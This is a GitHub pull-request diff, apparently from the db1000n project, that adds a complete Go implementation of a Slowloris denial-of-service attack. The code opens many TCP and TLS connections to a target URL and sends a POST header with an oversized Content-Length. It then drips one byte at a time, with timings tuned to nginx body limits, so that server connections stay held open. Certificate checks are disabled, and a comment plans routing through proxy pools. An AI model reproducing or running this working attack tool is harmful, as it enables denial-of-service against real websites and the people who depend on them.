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Merge pull request #21 from o-volkov/slowloris
Slowloris initial implementation
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| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,170 @@ | ||
| package slowloris | ||
|
|
||
| import ( | ||
| "crypto/tls" | ||
| "fmt" | ||
| "io" | ||
| "net" | ||
| "net/url" | ||
| "strings" | ||
| "time" | ||
|
|
||
| "github.com/Arriven/db1000n/logs" | ||
| ) | ||
|
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| type Config struct { | ||
| ContentLength int // The maximum length of fake POST body in bytes. Adjust to nginx's client_max_body_size | ||
| DialWorkersCount int // The number of workers simultaneously busy with opening new TCP connections | ||
| RampUpInterval time.Duration // Interval between new connections' acquisitions for a single dial worker (see DialWorkersCount) | ||
| SleepInterval time.Duration // Sleep interval between subsequent packets sending. Adjust to nginx's client_body_timeout | ||
| DurationSeconds time.Duration // Duration in seconds | ||
| Path string // Target Path. Http POST must be allowed for this Path | ||
| HostHeader string // Host header value in case it is different than the hostname in Path | ||
| } | ||
|
|
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| type SlowLoris struct { | ||
| Logger *logs.Logger | ||
| Config *Config | ||
| } | ||
|
|
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| var ( | ||
| sharedReadBuf = make([]byte, 4096) | ||
| sharedWriteBuf = []byte("A") | ||
| ) | ||
|
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| func Start(logger *logs.Logger, config *Config) error { | ||
| s := &SlowLoris{ | ||
| Logger: logger, | ||
| Config: config, | ||
| } | ||
|
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| targetURL, err := url.Parse(config.Path) | ||
| if err != nil { | ||
| s.Logger.Error("Cannot parse Path=[%s]: [%s]\n", targetURL, err) | ||
| return err | ||
| } | ||
|
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| targetHostPort := targetURL.Host | ||
| if !strings.Contains(targetHostPort, ":") { | ||
| port := "80" | ||
| if targetURL.Scheme == "https" { | ||
| port = "443" | ||
| } | ||
| targetHostPort = net.JoinHostPort(targetHostPort, port) | ||
| } | ||
| host := targetURL.Host | ||
| if len(config.HostHeader) > 0 { | ||
| host = config.HostHeader | ||
| } | ||
| requestHeader := []byte(fmt.Sprintf("POST %s HTTP/1.1\nHost: %s\nContent-Type: application/x-www-form-urlencoded\nContent-Length: %d\n\n", | ||
| targetURL.RequestURI(), host, config.ContentLength)) | ||
|
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| dialWorkersLaunchInterval := config.RampUpInterval / time.Duration(config.DialWorkersCount) | ||
| activeConnectionsCh := make(chan int, config.DialWorkersCount) | ||
| go s.activeConnectionsCounter(activeConnectionsCh) | ||
| for i := 0; i < config.DialWorkersCount; i++ { | ||
| go s.dialWorker(config, activeConnectionsCh, targetHostPort, targetURL, requestHeader) | ||
| time.Sleep(dialWorkersLaunchInterval) | ||
| } | ||
| time.Sleep(config.DurationSeconds) | ||
|
|
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| return nil | ||
| } | ||
|
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| func (s SlowLoris) dialWorker(config *Config, activeConnectionsCh chan<- int, targetHostPort string, targetUri *url.URL, requestHeader []byte) { | ||
| isTls := targetUri.Scheme == "https" | ||
|
|
||
| for { | ||
| time.Sleep(config.RampUpInterval) | ||
| conn := s.dialVictim(targetHostPort, isTls) | ||
| if conn != nil { | ||
| go s.doLoris(config, conn, activeConnectionsCh, requestHeader) | ||
| } | ||
| } | ||
| } | ||
|
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||
| func (s SlowLoris) activeConnectionsCounter(ch <-chan int) { | ||
| var connectionsCount int | ||
| for n := range ch { | ||
| connectionsCount += n | ||
| s.Logger.Debug("Holding %d connections\n", connectionsCount) | ||
| } | ||
| } | ||
|
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| func (s SlowLoris) dialVictim(hostPort string, isTls bool) io.ReadWriteCloser { | ||
| // TODO: add support for dialing the Path via a random proxy from the given pool. | ||
| conn, err := net.Dial("tcp", hostPort) | ||
| if err != nil { | ||
| s.Logger.Error("Couldn't establish connection to [%s]: [%s]\n", hostPort, err) | ||
| return nil | ||
| } | ||
|
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| tcpConn := conn.(*net.TCPConn) | ||
| if err = tcpConn.SetReadBuffer(128); err != nil { | ||
| s.Logger.Error("Cannot shrink TCP read buffer: [%s]\n", err) | ||
| return nil | ||
| } | ||
|
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| if err = tcpConn.SetWriteBuffer(128); err != nil { | ||
| s.Logger.Error("Cannot shrink TCP write buffer: [%s]\n", err) | ||
| return nil | ||
| } | ||
|
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| if err = tcpConn.SetLinger(0); err != nil { | ||
| s.Logger.Error("Cannot disable TCP lingering: [%s]\n", err) | ||
| return nil | ||
| } | ||
|
|
||
| if !isTls { | ||
| return tcpConn | ||
| } | ||
|
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| tlsConn := tls.Client(conn, &tls.Config{ | ||
| InsecureSkipVerify: true, | ||
| }) | ||
|
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| if err = tlsConn.Handshake(); err != nil { | ||
| conn.Close() | ||
| s.Logger.Error("Couldn't establish tls connection to [%s]: [%s]\n", hostPort, err) | ||
| return nil | ||
| } | ||
|
|
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| return tlsConn | ||
| } | ||
|
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| func (s SlowLoris) doLoris(config *Config, conn io.ReadWriteCloser, activeConnectionsCh chan<- int, requestHeader []byte) { | ||
| defer conn.Close() | ||
|
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| if _, err := conn.Write(requestHeader); err != nil { | ||
| s.Logger.Error("Cannot write requestHeader=[%v]: [%s]\n", requestHeader, err) | ||
| return | ||
| } | ||
|
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| activeConnectionsCh <- 1 | ||
| defer func() { activeConnectionsCh <- -1 }() | ||
|
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| readerStopCh := make(chan int, 1) | ||
| go s.nullReader(conn, readerStopCh) | ||
|
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| for i := 0; i < config.ContentLength; i++ { | ||
| select { | ||
| case <-readerStopCh: | ||
| return | ||
| case <-time.After(config.SleepInterval): | ||
| } | ||
| if _, err := conn.Write(sharedWriteBuf); err != nil { | ||
| s.Logger.Error("Error when writing %d byte out of %d bytes: [%s]\n", i, config.ContentLength, err) | ||
| return | ||
| } | ||
| } | ||
| } | ||
|
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| func (s SlowLoris) nullReader(conn io.Reader, ch chan<- int) { | ||
| defer func() { ch <- 1 }() | ||
| n, err := conn.Read(sharedReadBuf) | ||
| if err != nil { | ||
| s.Logger.Error("Error when reading server response: [%s]\n", err) | ||
| } else { | ||
| s.Logger.Error("Unexpected response read from server: [%s]\n", sharedReadBuf[:n]) | ||
| } | ||
| } |
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